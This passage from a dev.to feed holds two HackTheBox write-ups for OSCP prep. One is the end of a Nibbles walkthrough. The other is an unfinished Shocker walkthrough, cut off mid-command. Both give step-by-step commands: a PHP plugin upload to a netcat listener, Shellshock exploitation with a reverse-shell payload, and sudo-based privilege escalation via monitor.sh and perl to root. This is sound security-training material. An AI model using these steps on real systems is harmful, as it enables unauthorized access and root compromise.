&lt;p&gt;Head over to the &lt;strong&gt;Plugins&amp;gt; My Image&lt;/strong&gt; and click &lt;strong&gt;Configure&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6ixve8l9y1n1jsdmu0e8.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6ixve8l9y1n1jsdmu0e8.PNG" alt="Alt Text" width="800" height="356"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Go to the &lt;strong&gt;Browse&lt;/strong&gt; option and locate the file.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmbr9mmzkjbsbdutfm4ql.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmbr9mmzkjbsbdutfm4ql.PNG" alt="Alt Text" width="506" height="189"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now after this is uploaded you should get a bunch of error messages, disregard them for now and head over to another window on Kali to setup your Netcat.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb3sn4hmdeakv3htg9yfw.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb3sn4hmdeakv3htg9yfw.PNG" alt="Alt Text" width="800" height="175"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;nc -nvlp 1234&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Now from the PoC it says to go to the &lt;strong&gt;content/private/plugins/my_image&lt;/strong&gt; then click &lt;strong&gt;image_php&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6yaxv9nstlmii90exebb.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6yaxv9nstlmii90exebb.PNG" alt="Alt Text" width="800" height="194"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;From here we will head back over to our Netcat listener to see if we got a shell.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffetwxijbef9vf78ktmdd.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffetwxijbef9vf78ktmdd.PNG" alt="Alt Text" width="800" height="195"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Boom we are in! Lets upgrade our shell.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;which python&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;which python3&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;python3 -c 'import pty;pty.spawn("/bin/bash")'&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fl1wv3035wouugfmn4oeq.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fl1wv3035wouugfmn4oeq.PNG" alt="Alt Text" width="800" height="267"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;wc user.txt&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9ie4pfwtvpliexi3lg8v.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9ie4pfwtvpliexi3lg8v.PNG" alt="Alt Text" width="800" height="114"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Alright lets see if I can priv esc to root.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;sudo -l&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh0qtpwhlzm0iky62n46e.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh0qtpwhlzm0iky62n46e.PNG" alt="Alt Text" width="800" height="183"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So we can run root with no password from the &lt;strong&gt;/home/nibbler/personal/stuff/monitor.sh&lt;/strong&gt; location&lt;/p&gt;

&lt;p&gt;After some additional searching on the box there doesn't appear to be a file location like the one listed from &lt;strong&gt;Sudo -l&lt;/strong&gt;, so lets make one!&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;mkdir personal&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;cd personal&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;mkdir stuff&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;cd stuff&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foky1ogxhwit3sn0f6hmd.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foky1ogxhwit3sn0f6hmd.PNG" alt="Alt Text" width="800" height="342"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As we did in the previous boxes we are going to try and use &lt;strong&gt;bin/bash&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;echo "/bin/bash -i" &amp;gt;&amp;gt; monitor.sh&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;cat monitor.sh&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;sudo ./monitor.sh&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;whoami&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;wc root.txt&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmequgqe8lg6jlcwzdbj0.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmequgqe8lg6jlcwzdbj0.PNG" alt="Alt Text" width="800" height="268"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjyjhkswrk6ff9bublrd6.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjyjhkswrk6ff9bublrd6.PNG" alt="Alt Text" width="724" height="117"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Great work!&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>webdev</category>
      <category>php</category>
      <category>100daysofhacking</category>
    </item>
    <item>
      <title>Writeup: HackTheBox Shocker- Without Metasploit (OSCP Prep)</title>
      <dc:creator>Chris</dc:creator>
      <pubDate>Thu, 08 Jul 2021 19:52:28 +0000</pubDate>
      <link>https://dev.to/xyzchris0/writeup-hackthebox-shocker-without-metasploit-oscp-prep-1mnh</link>
      <guid>https://dev.to/xyzchris0/writeup-hackthebox-shocker-without-metasploit-oscp-prep-1mnh</guid>
      <description>&lt;p&gt;Hello All,&lt;/p&gt;

&lt;p&gt;Thing's have gotten a little serious as I have bought my OSCP Certification attempt. So I will hopefully pushing out more HTB write-ups over the next 2 weeks.&lt;/p&gt;

&lt;p&gt;Let's begin!!&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Nmap -sC -sV -T4 -oN nmap.txt -vvv 10.10.10.56&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;-sC = Default Scripts&lt;/li&gt;
&lt;li&gt;-sV = Probe open ports to determine service/Versions info&lt;/li&gt;
&lt;li&gt;-T4 = Set timing for faster output (0-5)&lt;/li&gt;
&lt;li&gt;-oN = Output to save it to a file&lt;/li&gt;
&lt;li&gt;-vvv = 9 different levels and will cause Nping to print more information during execution more reading &lt;a href="https://nmap.org/book/nping-man-output-options.html" rel="noopener noreferrer"&gt;link&lt;/a&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8o92n6fc9vxewy3xeako.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8o92n6fc9vxewy3xeako.PNG" alt="Alt Text" width="800" height="69"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe4duaqq8fdzqne9fdze3.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe4duaqq8fdzqne9fdze3.PNG" alt="Alt Text" width="800" height="265"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Port Opens:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;80 TCP HTTP&lt;/li&gt;
&lt;li&gt;2222 TCP SSH&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Let's run a full port scan to see if we missed anything here.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;nmap -p- -oN allports.txt 10.10.10.56&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fit7flzzbloe4wovtlyw6.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fit7flzzbloe4wovtlyw6.PNG" alt="Alt Text" width="800" height="281"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So nothing else actually returns which is a bummer.&lt;/p&gt;

&lt;p&gt;Let's try and run a quick Vuln scan just for kicks.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;nmap --script vuln -oN vuln.txt 10.10.10.56&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fonpytogw1byhj1863dpa.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fonpytogw1byhj1863dpa.PNG" alt="Alt Text" width="800" height="313"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Nothing here pops out to me so lets move on to the site so lets check out the source.&lt;/p&gt;

&lt;h1&gt;
  
  
  Command:
&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;Right-click&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvsdmdveg8gkipt9dvomt.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvsdmdveg8gkipt9dvomt.PNG" alt="Alt Text" width="704" height="224"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I hit some snags with &lt;em&gt;Dirb&lt;/em&gt; so I am going to use &lt;strong&gt;Dirbuster&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;From a non-root windows do the following.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;dirbuster&lt;/strong&gt;&lt;br&gt;
This should take a min then open up a new terminal.&lt;/p&gt;

&lt;p&gt;Key items to pay attention to:&lt;br&gt;
&lt;strong&gt;Target URL&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;File with list of dirs/files&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;File Extension&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1jeag0houncpjhwdzw0b.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1jeag0houncpjhwdzw0b.PNG" alt="Alt Text" width="770" height="673"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Looks like we found a file &lt;strong&gt;user.sh&lt;/strong&gt; on the machine that we might be able to access.&lt;/p&gt;

&lt;p&gt;You can right click it or manual go to it in the webpage.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjyaz45am9ll1ir2gfchk.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjyaz45am9ll1ir2gfchk.PNG" alt="Alt Text" width="670" height="700"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So after looking into &lt;strong&gt;/cgi-bin/&lt;/strong&gt; and the name of the box it appears it could be hit with ShellShock.&lt;/p&gt;
&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;nmap -sV -p80 --script http-shellshock --script-args uri=/cgi-bin/user.sh,cmd=ls 10.10.10.56&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;How did I know to use this? Nmap &lt;a href="https://nmap.org/nsedoc/scripts/http-shellshock.html" rel="noopener noreferrer"&gt;link&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2kqgo7mkf885p2e0hiad.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2kqgo7mkf885p2e0hiad.PNG" alt="Alt Text" width="800" height="522"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now that we know we have a way in lets go over to &lt;strong&gt;Searchsploit&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;searchsploit shellshock&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foc35yl3cm4vr81rja8ua.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foc35yl3cm4vr81rja8ua.PNG" alt="Alt Text" width="800" height="177"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I am going with this one because its a RCE Injection that is also a python script. The other ones listed are Txt files which are a little funky to me.&lt;/p&gt;

&lt;p&gt;Use the &lt;strong&gt;CP&lt;/strong&gt; command to copy the exploit to your file location or locate it in the Exploit-DB repo and download it.&lt;/p&gt;

&lt;p&gt;Okay so lets look at the exploit code.&lt;/p&gt;
&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;nano exploit.py&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If you scroll down you get some options on how to run the exploit without having to alter it.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1u9qknbwhqsgnvirn7pv.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1u9qknbwhqsgnvirn7pv.PNG" alt="Alt Text" width="800" height="421"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;To confirm you can run the code test it.&lt;/p&gt;
&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;python exploit.py&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fq9zm29mwjizcv34w8bi0.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fq9zm29mwjizcv34w8bi0.PNG" alt="Alt Text" width="800" height="515"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;python exploit.py payload=revese rhost=10.10.10.56 lhost=tun0 lport=8080 pages=/cgi-bin/user.sh&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgr68ggdttf4prhfi44j8.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgr68ggdttf4prhfi44j8.PNG" alt="Alt Text" width="800" height="175"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;ls&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftwwdeuiyzpduk42e6nf6.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftwwdeuiyzpduk42e6nf6.PNG" alt="Alt Text" width="449" height="80"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Nice!&lt;/p&gt;

&lt;p&gt;Here we will see what we can do with Sudo.&lt;/p&gt;
&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Sudo -l&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2gp3qdq140zqa879enra.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2gp3qdq140zqa879enra.PNG" alt="Alt Text" width="800" height="166"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It appears we can &lt;strong&gt;Root&lt;/strong&gt; with no password from the &lt;strong&gt;/usr/bin/perl&lt;/strong&gt; location.&lt;/p&gt;

&lt;p&gt;Heading over to google to confirm my thinking.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxwcorognqatltz4r18m6.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxwcorognqatltz4r18m6.PNG" alt="Alt Text" width="800" height="516"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Also the &lt;strong&gt;HackingArticles&lt;/strong&gt; provides a really great resource for comands &lt;a href="https://www.hackingarticles.in/linux-privilege-escalation-using-exploiting-sudo-rights/" rel="noopener noreferrer"&gt;link&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fty9lx1pelckbpvp16k2k.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fty9lx1pelckbpvp16k2k.PNG" alt="Alt Text" width="800" height="363"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;sudo perl -e 'exec "/bin/bash";'&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;id&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;whoami&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnlxeowtam17940asxq6n.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnlxeowtam17940asxq6n.PNG" alt="Alt Text" width="800" height="305"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;wc root.txt&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frhm2agiwwdmmmdcim9vh.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frhm2agiwwdmmmdcim9vh.PNG" alt="Alt Text" width="444" height="147"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Another way to do this for a more stable shell!&lt;/p&gt;

&lt;p&gt;After the initial access on the machine.&lt;/p&gt;
&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;which python3&lt;/strong&gt;&lt;/p&gt;

